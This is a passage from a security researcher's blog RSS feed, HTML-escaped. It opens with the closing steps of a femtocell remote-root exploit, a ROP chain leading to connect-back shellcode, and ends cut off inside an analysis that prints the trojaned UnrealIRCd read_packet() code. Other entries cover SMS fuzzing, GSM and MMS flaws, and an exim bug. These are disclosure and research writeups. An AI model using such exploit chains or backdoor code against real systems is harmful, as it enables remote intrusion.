normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#91;&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;0x00013994&lt;/span&gt;&lt;span style=&quot;color: #009900; font-weight: bold;&quot;&gt;&amp;#93;&lt;/span&gt;&amp;gt; # so let&lt;span style=&quot;color: #7f007f;&quot;&gt;&#039;s move it..&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #7f007f;&quot;&gt;[0x00013994]&amp;gt; pD 8@sym.envz_merge+0xb8&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #7f007f;&quot;&gt; &amp;#160; &amp;#160; &amp;#160;0x00070bbc &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;0b00a0e1 &amp;#160; &amp;#160; &amp;#160; &amp;#160; mov r0, fp&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #7f007f;&quot;&gt; &amp;#160; &amp;#160; &amp;#160;0x00070bc0 &amp;#160; &amp;#160;0 &amp;#160; &amp;#160;f08bbde8 &amp;#160; &amp;#160; &amp;#160; &amp;#160; pop {r4, r5, r6, r7, r8, r9, fp, pc}&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #7f007f;&quot;&gt;[0x00013994]&amp;gt; # after this step the address of __clear_cache will be popped into pc and the syscall executes flushing our heap range&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #7f007f;&quot;&gt;[0x00013994]&amp;gt; # it returns control to the link register value pointing to the previous snippet popping r4 and pc&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #7f007f;&quot;&gt;[0x00013994]&amp;gt; # which pops our 0 leading heap address into pc and executes the shellcode&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;br /&gt;
Mission accomplished. The used shellcode then executes a connect-back shell!&lt;br /&gt;
&lt;br /&gt;
As a result, this is a remote root for SFR femtocells.&lt;br /&gt;
The complete exploit is available &lt;a href=&quot;http://www.sec.t-labs.tu-berlin.de/~nico/wsal_root.py&quot;&gt;here&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
It needs slight modification in case you modified your firmware e.g. with library hooking....&lt;br /&gt;
As mentioned before, depending on how shttpd/mongoose/yassl embedded webserver have been compiled, they may be affected by the problem itself.&lt;br /&gt;
The exact code for them differs slightly, but all of them contain the same bug if compiled with the right options.&lt;br /&gt;
&lt;br /&gt;
Slides of our presentation: &lt;a href=&quot;http://femto.sec.t-labs.tu-berlin.de/bh2011.pdf&quot;&gt;http://femto.sec.t-labs.tu-berlin.de/bh2011.pdf&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
UPDATE: it seems they have fixed the issue in the latest firmware release (V2.0.24.1) by disabling the PUT functionality completely 
    </description>
</item>
<item>
    <title>So what happened recently...</title>
    <link>http://nion.modprobe.de/blog/archives/702-So-what-happened-recently....html</link>

    <description>
        I felt the need to do a short writeup of what I actually did in the last time since I became fairly quiet in some parts of the net.&lt;br /&gt;
During the time I was mostly busy with working on my diploma thesis (I will hopefully rework my homepage soon and also upload the thesis pdf then) titled &lt;strong&gt;SMS Vulnerability Analysis on Feature Phones&lt;/strong&gt;. During this study I was working on a modified version of &lt;a href=&quot;http://openbsc.osmocom.org/trac/wiki/OpenBSC&quot;&gt;OpenBSC&lt;/a&gt; (thanks to the great people developing this at this point!) that allows me to do over-the-air fuzzing of the &lt;a href=&quot;http://en.wikipedia.org/wiki/SMS&quot;&gt;short message service&lt;/a&gt; on so-called &lt;a href=&quot;http://en.wikipedia.org/wiki/Feature_phone&quot;&gt;feature phones&lt;/a&gt;. The study aimed to not only look at one specific phone model for testing but also do a large scale analysis of the big players in that market section. &lt;br /&gt;
&lt;br /&gt;
This has been interesting to us as &lt;a href=&quot;http://berlin.ccc.de/~tobias/cursesms.txt&quot;&gt;SMS&lt;/a&gt; &lt;a href=&quot;http://berlin.ccc.de/~tobias/smsfeatures/html/slide_13.html&quot;&gt;is&lt;/a&gt; &lt;a href=&quot;http://seclists.org/bugtraq/2002/Jan/162&quot;&gt;known&lt;/a&gt; &lt;a href=&quot;http://www.blackhat.com/presentations/bh-usa-09/MILLER/BHUSA09-Miller-FuzzingPhone-SLIDES.pdf&quot;&gt;to&lt;/a&gt; &lt;a href=&quot;http://www.infoworld.com/article/03/02/26/HNnokiados_1.html&quot;&gt;be&lt;/a&gt; &lt;a href=&quot;http://www.auscert.org.au/render.html?it=2795&quot;&gt;problematic&lt;/a&gt; from the past, feature phones are widely deployed on the market (compared to only ~16% smartphones, even though uprising), and it is not possible (or let&#039;s say not feasible if you want to test a large number of devices without patching the firmware blobs) to modify the underlying operating system for testing. The application platforms are less integrated into the operating system, have less abilities to interact with other applications on the phone, and have far less advanced APIs compared to open APIs on smartphones. Smartphones often provide the ability to run native code. During the work I found bugs for all tested manufacturers (Nokia,Motorola,LG,Sony Ericsson,Samsung,Micromax (3rd biggest manufacturer in india)).&lt;br /&gt;
&lt;br /&gt;
A large part of this work is the result of a &lt;a href=&quot;http://events.ccc.de/congress/2010/Fahrplan/events/4060.en.html&quot;&gt;talk&lt;/a&gt; with my colleague &lt;a href=&quot;http://mulliner.org/&quot;&gt;Collin Mulliner&lt;/a&gt; at the &lt;a href=&quot;http://events.ccc.de/congress/2010/wiki/Main_Page&quot;&gt;27C3&lt;/a&gt; congress and &lt;a href=&quot;http://cansecwest.com/&quot;&gt;CanSecWest&lt;/a&gt;.&lt;br /&gt;
&lt;strong&gt;SMS-o-Death: from analyzing to attacking mobile phones on a large scale&lt;/strong&gt; (&lt;a href=&quot;http://www.ngolde.de/sms/smsodeath_mulliner_golde_cansecwest2011.pdf&quot;&gt;slides&lt;/a&gt;)&lt;br /&gt;
&lt;br /&gt;
Both conferences have been excellent (even though pretty different). Thanks to Dragos for organizing CSW, it was a blast! I also had the chance to visit &lt;a href=&quot;http://www.troopers.de/&quot;&gt;TROOPERS&lt;/a&gt;. Although being a fairly young and small security conference (organized by &lt;a href=&quot;http://www.ernw.de/&quot;&gt;ERNW&lt;/a&gt;), a pretty good one (in terms of people, overall atmosphere and also talks) and definitely worth a visit! &lt;br /&gt;
&lt;br /&gt;
Being finished with my studies (well I don&#039;t have the official certificate yet) I will now look forward to work in a PhD position at the department I already work at, &lt;a href=&quot;http://www.isti.tu-berlin.de/security_in_telecommunications/&quot;&gt;SecT&lt;/a&gt;. I will probably look into mobile handset security, system security and security of &quot;modern&quot; mobile communication systems (such as GSM,UMTS,...). I&#039;m not really interested in the title at the end of the PhD, but working in this area and especially at university has been lots of fun to me (recently playing with &lt;a href=&quot;http://en.wikipedia.org/wiki/Femtocell&quot;&gt;femtocells&lt;/a&gt;) so far, so I try to keep it that way &lt;img src=&quot;http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
That&#039;s it for the update on what has been going on.&lt;br /&gt;
&lt;br /&gt;
P.S. I finally failed to resist and you can now as well follow me on twitter &lt;a href=&quot;https://twitter.com/iamnion&quot;&gt;@iamnion&lt;/a&gt; &lt;img src=&quot;http://nion.modprobe.de/blog/templates/default/img/emoticons/laugh.png&quot; alt=&quot;:-D&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;
 
    </description>
</item>
<item>
    <title>Debian 6.0 squeeze</title>
    <link>http://nion.modprobe.de/blog/archives/701-Debian-6.0-squeeze.html</link>

    <description>
        Wooohoo, &lt;a href=&quot;http://www.debian.org&quot;&gt;we&lt;/a&gt; finally released &lt;a href=&quot;http://www.debian.org/News/2011/20110205a&quot;&gt;squeeze&lt;/a&gt;! Many thanks to everyone who worked on this the past 2 years and also it&#039;s nice to see the new &quot;corporate&quot; &lt;a href=&quot;http://www.debian.org/News/2011/20110205b&quot;&gt;design&lt;/a&gt; going live!&lt;br /&gt;
 
    </description>
</item>
<item>
    <title>exim remote vulnerability</title>
    <link>http://nion.modprobe.de/blog/archives/700-exim-remote-vulnerability.html</link>

    <description>
        It appears there is a remote vulnerability in &lt;a href=&quot;http://www.exim.org&quot;&gt;exim&lt;/a&gt; with the possibility to escalate privileges to root, some details on &lt;a href=&quot;http://www.exim.org/lurker/message/20101207.215955.bb32d4f2.en.html&quot;&gt;http://www.exim.org/lurker/message/20101207.215955.bb32d4f2.en.html&lt;/a&gt;. Security teams are currently looking into the issue.&lt;br /&gt;
&lt;br /&gt;
SCNR, but this is your chance to switch to a better &lt;a href=&quot;http://www.postfix.org/&quot;&gt;alternative&lt;/a&gt; &lt;img src=&quot;http://nion.modprobe.de/blog/templates/default/img/emoticons/laugh.png&quot; alt=&quot;:-D&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
UPDATE: patch for the buffer overflow (CVE-2010-4344): &lt;a href=&quot;http://git.exim.org/exim.git/commitdiff/24c929a27415c7cfc7126c47e4cad39acf3efa6b&quot;&gt;http://git.exim.org/exim.git/commitdiff/24c929a27415c7cfc7126c47e4cad39acf3efa6b&lt;/a&gt;&lt;br /&gt;
A few additional patches will be applied to fix the privilege escalation and other things. 
    </description>
</item>
<item>
    <title>Will my Phone Show An Unencrypted Connection?</title>
    <link>http://nion.modprobe.de/blog/archives/696-Will-my-Phone-Show-An-Unencrypted-Connection.html</link>

    <description>
        The &lt;a href=&quot;http://en.wikipedia.org/wiki/GSM&quot;&gt;GSM&lt;/a&gt; security hype is all over the place and certainly the specifications are currently totally ripped in pieces. Some of the common attacks against mobile phones for example &lt;a href=&quot;http://en.wikipedia.org/wiki/Man-in-the-middle_attack&quot;&gt;man-in-the-middle&lt;/a&gt; scenarios using an &lt;a href=&quot;http://en.wikipedia.org/wiki/IMSI-catcher&quot;&gt;IMSI-catcher&lt;/a&gt; base on an attacker forcing you to downgrade to a weaker cipher mode or a mode with no ciphering at all. Now the question arises, is a user noticing this change? According to &lt;a href=&quot;http://en.wikipedia.org/wiki/GSM_02.07&quot;&gt;GSM 02.07&lt;/a&gt; there seems to be an indicator that should allow the user to see if ciphering is turned off or on. &lt;a href=&quot;http://mirider.com&quot;&gt;Dieter Spaar&lt;/a&gt; did &lt;a href=&quot;http://www.mirider.com/weblog/2010/08/03/#20100803-ciphering_indicator&quot;&gt;some tests&lt;/a&gt; to find out which mobile phones indicate this and which not. The results are actually pretty interesting (and shocking), a lot of them don&#039;t.&lt;br /&gt;
&lt;br /&gt;
The list is not that huge so far but I think it&#039;s a pretty good start and from what I&#039;ve seen lately the manufacturs are more interesting than a specific phone model. A lot stuff besides the typical user interfaces, eye-candy and hardware does not change between different models. It would be also interesting to see how those phones actually indicate it. I personally haven&#039;t seen such an indicator yet so I&#039;m not sure if it&#039;s some unknown tiny symbol which is probably meaningless to a user or not.&lt;br /&gt;
&lt;br /&gt;
Results are now also collected at: &lt;a href=&quot;http://security.osmocom.org/trac/wiki/WillMyPhoneShowAnUnencryptetConnection&quot;&gt;http://security.osmocom.org/trac/wiki/WillMyPhoneShowAnUnencryptetConnection&lt;/a&gt;&lt;br /&gt;
which is part of a new wiki page that aims to collect all the &lt;a href=&quot;http://security.osmocom.org/trac/&quot;&gt;known GSM security problems&lt;/a&gt;. This is also a part of the awesome &lt;a href=&quot;http://bb.osmocom.org/trac/&quot;&gt;osmocom-BB&lt;/a&gt; project.&lt;br /&gt;
 
    </description>
</item>
<item>
    <title>smpCTF 2010 quals writeups</title>
    <link>http://nion.modprobe.de/blog/archives/695-smpCTF-2010-quals-writeups.html</link>

    <description>
        I participated together with some friends in this years edition of the &lt;a href=&quot;http://www.smpctf.com/&quot;&gt;smpCTF&lt;/a&gt; quals (actually it took place for the first time). Since we also qualified for the finals we had to submit a writeup of all challenges. For those who are interested, our submission is located on: &lt;a href=&quot;http://nion.modprobe.de/smpctf/smpctf.html&quot;&gt;http://nion.modprobe.de/smpctf/smpctf.html&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
All in all I had fun during this weekend but I also have to say that I&#039;ve had more at other &lt;a href=&quot;http://en.wikipedia.org/wiki/Capture_the_flag&quot;&gt;CTFs&lt;/a&gt; in the past. What disappointed me especially is that I&#039;m aware of at least 2 challenges that seem to be only slight alterations of challenges from the DEFCON and Codegate quals. I also missed creativity when it comes to the binary exploitation challenges, most of them have not been challenging. But as said, I enjoyed this weekend, had lots of fun and a big plus was the radio stream during the competition with support from &lt;a href=&quot;http://dubstep.fm/&quot;&gt;dubstep.fm&lt;/a&gt; &lt;img src=&quot;http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
Anyway, congrats to &lt;a href=&quot;http://nibbles.tuxfamily.org/&quot;&gt;team nibbles&lt;/a&gt; who&#039;ve won the CTF &lt;img src=&quot;http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;
 
    </description>
</item>
<item>
    <title>protocol design fail: MMS notification</title>
    <link>http://nion.modprobe.de/blog/archives/694-protocol-design-fail-MMS-notification.html</link>

    <description>
        I was just looking into some specifications of the &lt;a href=&quot;http://www.openmobilealliance.org/&quot;&gt;openmobilealliance&lt;/a&gt; when I got the content for todays WTF moment.&lt;br /&gt;
An &lt;a href=&quot;http://en.wikipedia.org/wiki/Multimedia_Messaging_Service&quot;&gt;MMS&lt;/a&gt; notification is usually sent over &lt;a href=&quot;http://en.wikipedia.org/wiki/SMS&quot;&gt;SMS&lt;/a&gt; and encodes various fields including the location of where the MMS content is located so the mobile phone can download it via e.g. &lt;a href=&quot;http://en.wikipedia.org/wiki/Wireless_Application_Protocol&quot;&gt;WAP&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Now looking at WAP-209-MMSEncapsulation-20020105-a chapter 6.2. (Multimedia Message Notification) there&#039;s an interesting header field included in these notifications, &lt;strong&gt;X-Mms -Message-Size&lt;/strong&gt;&lt;blockquote&gt;Mandatory.&lt;br /&gt;
Full size of message in octets. The value of this header&lt;br /&gt;
field could be based on approximate calculation,&lt;br /&gt;
therefore it SHOULD NOT be used as a reason to reject&lt;br /&gt;
the MM.&lt;/blockquote&gt;Clearly the people who developed this must have taken some bad drugs. Adding a length field value to a header and allow it to be based on an approximation rather than an exact value just doesn&#039;t explain itself to me.&lt;br /&gt;
 
    </description>
</item>
<item>
    <title>acrobat reader stealing my passwords</title>
    <link>http://nion.modprobe.de/blog/archives/693-acrobat-reader-stealing-my-passwords.html</link>

    <description>
        I know there is some setting in adobe acrobat reader to switch of monitoring of the &lt;a href=&quot;http://www.x.org&quot;&gt;X&lt;/a&gt; paste buffer (which I couldn&#039;t find now) and it seems one really wants that. I was very surprised today when I tried to paste a password using &lt;a href=&quot;http://nsd.dyndns.org/pwsafe/&quot;&gt;pwsafe&lt;/a&gt; and observed the following:&lt;br /&gt;
&lt;i&gt;$ pwsafe -p fandango&lt;br /&gt;
Enter passphrase for /home/nion/.pwsafe.dat:&lt;br /&gt;
You are ready to paste the password for hosts.fandango from PRIMARY and CLIPBOARD&lt;br /&gt;
Press any key when done&lt;br /&gt;
&lt;strong&gt;Sending password for hosts.fandango to acroread@hostname via CLIPBOARD&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
So apparently acrobat reader is stealing my password from the X paste buffer if the application is running. Especially given all the javascript, malicious pdf file kungfu that is around these days I of course don&#039;t find this very amusing.&lt;br /&gt;
&lt;br /&gt;
Lesson learned: Use xpdf whenever I can even though it really lacks features :/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 
    </description>
</item>
<item>
    <title>UnrealIRCd backdoored</title>
    <link>http://nion.modprobe.de/blog/archives/692-UnrealIRCd-backdoored.html</link>

    <description>
        The &lt;a href=&quot;http://www.unrealircd.com&quot;&gt;UnrealIRCd&lt;/a&gt; team has just published an advisory &lt;a href=&quot;http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt&quot;&gt;advisory&lt;/a&gt; stating their release has been backdoored. From the advisory:&lt;blockquote&gt;We found out that the Unreal3.2.8.1.tar.gz file on our mirrors has been&lt;br /&gt;
replaced quite a while ago with a version with a backdoor (trojan) in it.&lt;br /&gt;
This backdoor allows a person to execute ANY command with the privileges of&lt;br /&gt;
the user running the ircd. The backdoor can be executed regardless of any user&lt;br /&gt;
restrictions (so even if you have passworded server or hub that doesn&#039;t allow&lt;br /&gt;
any users in).&lt;br /&gt;
&lt;br /&gt;
It appears the replacement of the .tar.gz occurred in November 2009 (at least on some mirrors). It seems nobody noticed it until now.&lt;/blockquote&gt;&lt;br /&gt;
I&#039;m personally not using this software but this is probably a shock for lots of sysadmins as this is one of the most popular IRC server applications. The last sentence of this quote is the most shocking to me. This slipped through the cracks for about &lt;strong&gt;8 months&lt;/strong&gt; without being noticed! This shows &lt;a href=&quot;http://thread.gmane.org/gmane.mail.squirrelmail.announce/35&quot;&gt;yet another time&lt;/a&gt; that upstream developers need to think about providing ways to allow users to properly verify the integrity of their releases and (which is probably more important) &lt;strong&gt;users need to verify what they download&lt;/strong&gt;. There is no point in md5 and friends being broken if nobody cares for hashes anyway.&lt;br /&gt;
&lt;br /&gt;
The UnrealIRCd people seemed to have learned their lesson and will start PGP/GPG signing their releases from now on. Hopefully their users verify their tarballs then.&lt;br /&gt;
So what was the backdoor exactly about? It didn&#039;t take me much time to find a backdoored tarball, &quot;gladly&quot; there are still lots of websites mirroring backdoored tarballs.&lt;br /&gt;
&lt;br /&gt;
The backdoor is pretty small, simple and efficient, a full diff can be found &lt;a href=&quot;http://nion.modprobe.de/unrealircd-backdoor.diff&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;
Only two files have been modified, the first one is the important one: s_bsc.c, function read_packet():&lt;br /&gt;
&lt;div class=&quot;c geshi&quot; style=&quot;text-align: left&quot;&gt;&lt;ol&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #993333;&quot;&gt;static&lt;/span&gt; &lt;span style=&quot;color: #993333;&quot;&gt;int&lt;/span&gt; read_packet&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;aClient &lt;span style=&quot;color: #339933;&quot;&gt;*&lt;/span&gt;cptr&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; fd_set &lt;span style=&quot;color: #339933;&quot;&gt;*&lt;/span&gt;rfd&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #993333;&quot;&gt;int&lt;/span&gt; &amp;#160;dolen &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; 0&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; length &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; 0&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; done&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; time_t now &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; TStime&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;FD_ISSET&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;cptr&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;fd&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; rfd&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #339933;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;IsPerson&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;cptr&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; DBufLength&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;&amp;amp;&lt;/span&gt;cptr&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;recvQ&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;&amp;gt;&lt;/span&gt; 6090&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#123;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; Hook &lt;span style=&quot;color: #339933;&quot;&gt;*&lt;/span&gt;h&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; SET_ERRNO&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;0&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #339933;&quot;&gt;#ifdef USE_SSL&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;cptr&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;flags &lt;span style=&quot;color: #339933;&quot;&gt;&amp;amp;&lt;/span&gt; FLAGS_SSL&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; length &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; ircd_SSL_read&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;cptr&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; readbuf&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #993333;&quot;&gt;sizeof&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;readbuf&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &lt;span style=&quot;color: #b1b100;&quot;&gt;else&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&lt;span style=&quot;color: #339933;&quot;&gt;#endif&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li style=&quot;font-weight: normal; vertical-align:top;&quot;&gt;&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;&quot;&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; length &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; recv&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;cptr&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;fd&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; readbuf&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #993333;&quot;&gt;sizeof&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;readbuf&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt; 0&lt;span style=&quot;color: 